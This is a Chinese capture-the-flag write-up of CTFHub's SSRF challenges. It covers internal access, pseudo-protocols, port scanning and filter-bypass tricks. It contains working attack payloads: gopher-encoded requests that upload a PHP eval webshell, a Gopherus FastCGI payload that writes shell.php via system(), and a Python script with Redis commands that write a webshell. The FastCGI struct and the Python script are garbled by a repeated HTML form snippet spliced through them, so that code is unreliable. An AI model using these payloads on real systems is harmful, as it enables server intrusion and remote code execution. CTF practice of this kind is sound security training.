Web安全基础 - SSRF CTFHub
题目来源:https://www.ctfhub.com/#/skilltree Web技能树,SSRF部分
基础知识
SSRF全称:Server-Side Request Forgery,服务器端请求伪造。可以理解为以服务器的身份执行构造好的攻击请求来获取内网资源或绕过waf。
网站一般都会提供从其他的服务器上获取数据的功能(获取图片、下载文件、读取文件内容、转发收藏、邮件、翻译等),这时候如果没有对目标地址做完善的过滤与限制。攻击者就可以利用SSRF泄露内部信息,DOS攻击,或者再次利用其他漏洞攻击。
SSRF的实质就是利用过滤不全的Web站点作为代理攻击远程和本地的服务器。
SSRF漏洞是伪造服务器发送请求的漏洞,可以通过分析发送的请求是否是由服务器端发送的(验证资源来源)来判断是否存在SSRF漏洞。
对于PHP来说file_get_contents(),fsockopen(),curl_exec()等函数可能产生SSRF
内网访问
直接构造请求访问即可。
Payload:
http://challenge-297b1abbef859a9a.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
伪协议
因为只学过PHP的伪协议,就莽上去了,寄掉辣。
http://challenge-af36601345fec220.sandbox.ctfhub.com:10800/?url=php://filter/read=convert.base64-encode/resource=flag.php
学习URL伪协议
URL伪协议有如下这些:
file:// 从文件系统中获取文件
dict:// 引用允许通过DICT协议使用的定义或单词列表
sftp:// Sftp代表SSH文件传输协议
ldap:// 轻量级目录访问协议 管理和访问分布式目录信息服务
tftp:// 简单文件传输协议 允许客户端从远程主机获取文件或将文件上传
gopher:// 一种分布式文档传递服务 用户可以无缝地浏览、搜索和检索驻留在不同位置的信息
file伪协议可以读取系统内的文件,使用dict伪协议可以查看内网存活主机和端口探测,使用gopher伪协议反弹shell,配合redis写shell操作。
dict的使用curl -v ‘http://a.com/ssrf.php?url=dict://172.0.0.1:22/info'
确实读到东西了,看看BurpSuite里面能不能看到信息
端口扫描
用Bs来端口扫描,选择payloads类型为Numbers
设置范围
筛选有不同长度的响应
POST 请求
302跳转又称暂时性转移,当网页临时移到新的位置,而浏览器的缓存没有更新时,就出现了302跳转。不过这里可以忽略。
post请求,但是要127.0.0.1,本题我们使用gopher协议来做,gopher可以理解为古早版本的http请求,格式如下- gopher://<host>:<port>/<gopher-path>_<TCP数据流>
- <port>默认为70
- 发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码
复制代码 ssrf是用php的curl实现的,gopher协议的支持如下。
语言支持情况PHP--wite-curlwrappers且php版本至少为5.3Java小于JDK1.7Curl低版本不支持Perl支持ASP.NET小于版本3我们需要从本地访问
gopher协议传递HTTP的GET请求需要包含下列信息
gopher协议传递HTTP的POST请求需要包含下列信息和POST信息
首先查看页面源码发现key,思路应该是带着key进行本地访问
开始构造gopher协议
注意Content-Length如果存在并且有效地话,则必须和消息内容的传输长度完全一致。
另外一点:因为我们这里是利用index.php的SSRF,首先通过curl利用gopher协议,其次gopher进行POST请求,这里需要两次URL编码
构造第一次请求,整理POST请求为以下格式- POST /flag.php HTTP/1.0
- Host: challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800
- Content-Length: 36
- Content-Type: application/x-www-form-urlencoded
- key=55dfa41ce7aabc43aa3d02bf01aeaf80
复制代码 进行URL编码
注意这里的细节,Cyber将换行编码为%0A,这是在Linux环境下的换行,Windows下应该为%0D%0A,需要手动修改一下。
进行二次编码
最终payload:- http://challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520challenge-8a584cb532fad88e.sandbox.ctfhub.com:10800%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=55dfa41ce7aabc43aa3d02bf01aeaf80
复制代码
文件上传
一开始是挺懵的,文件选好了咋上传啊,后来看其他人的wp发现可以手动添加提交框。
- <form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>
复制代码 抓包调整格式如下:- POST /flag.php HTTP/1.0
- Host: 127.0.0.1:80 //这里记得调整为本地访问
- Content-Length: 324
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4
- ------WebKitFormBoundaryQOpqM1bRzTlR9VD4
- Content-Disposition: form-data; name="file"; filename="eval.php"
- Content-Type: application/octet-stream
- <?php @eval($_POST["cmd"]);?>
- ------WebKitFormBoundaryQOpqM1bRzTlR9VD4
- Content-Disposition: form-data; name="submit"
- 鎻愪氦 //不知为何是乱码,能用
- ------WebKitFormBoundaryQOpqM1bRzTlR9VD4--
复制代码 构造gopher协议,流程同上,记得修改%0A为%0D%0A- gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.0%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%2520324%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250A%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522eval.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B%2522cmd%2522%255D);?%253E%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundaryQOpqM1bRzTlR9VD4--
复制代码
Fastcgi协议
HTTP协议是浏览器和服务器中间件进行数据交换的协议,而Fastcgi协议是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record区分header和body,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
比如:浏览器并不能解析动态的php文件,如果http请求的请求文件为.php文件,这时候就需要php-fpm把其解释(翻译)成html格式的文件,而服务器中间件和php-fpm之间的通信协议就是Fastcgi。
Header结构- typedef struct {<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char version;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> //版本<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char type;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> //操作类型<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char requestIdB1;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> //请求id<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char requestIdB0;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char contentLengthB1;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> //内容长度<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char contentLengthB0;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char paddingLength;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>//填充字节的长度<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>unsigned char reserved;<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> //保留字节}FCGI_Header;
复制代码 其第二个字段是类型,下表列举一些常用Type值
type值具体含义1请求开始的第一个消息2异常断开与php-fpm的交互3表明交互的正常结束4向php-fpm传递环境参数,以表明消息中包含的数据为某个name-value对5web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm6php-fpm正常响应7php-fpm错误响应服务器中间件和后端语言通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record。
漏洞的具体利用主要是靠type4设置环境参数,一次具体的利用看这里
对这道题进行gopherus一把梭
从这篇学的方法。配置gopherus,注意需要Python2环境。
使用方法如下,第一行输入要求是一个已存在的php页面,具体原因可以查询FPM的security.limit_extensions配置项。
对生成gopher再次编码,给curl使用- gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH133%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2585%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg%253D%253D%2520%257Cbase64%2520-d%2520%253E/var/www/html/shell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
复制代码 会在/var/www/html位置生成shell.php,doughnuts连接- connect http://challenge-8f2d72a02851e8b3.sandbox.ctfhub.com:10800/shell.php POST cmd
复制代码
放一个gist,想更深入原理的可以看下源码
Redis协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP实际上是一个支持(简单字符串,错误,整数,批量字符串(Bulk Strings)和数组)的序列化协议。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
利用条件:能未授权或者能通过弱口令认证访问到Redis服务器
redis常见的SSRF攻击方式大概有这几种:
- 绝对路径写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell
- 主从复制
具体攻击方式可以参考这里
本题的攻击思路就是构造Redis命令,然后转为RESP协议再构造gopher伪协议写webshell- flushall
- set 1 '<?php eval($_GET["feng"]);?>'
- config set dir /var/www/html
- config set dbfilename shell.php
- save
复制代码 利用脚本转换成RESP协议格式- import urllib.requestport="6379"shell="\n\n\n\n"filename="shell.php"path="/var/www/html"cmd=["flushall",<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> "set 1 {}".format(shell.replace(" ","${IFS}")),<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> "config set dir {}".format(path),<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> "config set dbfilename {}".format(filename),<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> "save"<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form> ]<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>def payload_generate(ip,passwd):<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>protocol="gopher://"<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>if passwd:<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>cmd.insert(0,"AUTH {}".format(passwd))<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>payload=protocol+ip+":"+port+"/_"<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>return payloaddef redis_format(arr):<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>CRLF="\r\n" # In Windows<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>redis_arr = arr.split(" ")<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>cmd=""<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>cmd+="*"+str(len(redis_arr))<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>for x in redis_arr:<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>cmd+=CRLF<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>return cmdif __name__=="__main__":<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>ip = input("Input Attacked IP:\t")<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>passwd = input("Input Attacked PASSWD (if exist):\t")<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>if not passwd:<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>passwd = ""<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>payload = payload_generate(ip,passwd)<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>for x in cmd:<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form><form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>payload += urllib.request.quote(redis_format(x))<form action="/flag.php" method="post" enctype="multipart/form-data">
- <input type="file" name="file"><input type="submit" name="submit">
- </form>print (urllib.request.quote(payload)) # 这里已经进行二次编码了
复制代码 脚本已经进行了二次编码,直接拿去跑就行
最终payload- gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B%2522cmd%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
复制代码
Gopherus同样可以使用,记得替换%0A和二次编码:
URL ByPass
根据parse_url和curl对于host解析不同进行@绕过
一些常见的绕过方式:
- 绕过限制为某种域名:
利用@,网站限制只能访问 http://www.xxx.com类型的域名。在对@解析域名中,不同的处理函数存在处理差异,例如:http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别 www.ccc.com,而libcurl则识别为 www.bbb.com
- 绕过限制请求IP不为内网地址:
1. 采用短网址绕过
2.利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1
3. 采用进制转换,127.0.0.1 八进制:0177.0.0.1;十六进制:0x7f.0.0.1;十进制:2130706433
4. 添加端口号,http://127.0.0.1:8080
5. 利用句号,127。0。0。1 会解析为 127.0.0.1
6. 采用302跳转
7. Enclosed alphanumerics绕过
8. 利用http://xip.io和xip.name绕过
- 限制请求只为http协议:
1. 采用302跳转
2. 采用短地址
数字绕过
知识点如上
302跳转
利用file伪协议查看页面源代码
,,感觉能拿上次的payload来
逆天
学习下用302跳转怎么绕过,基本原理是设置302.php
[code]#302.php |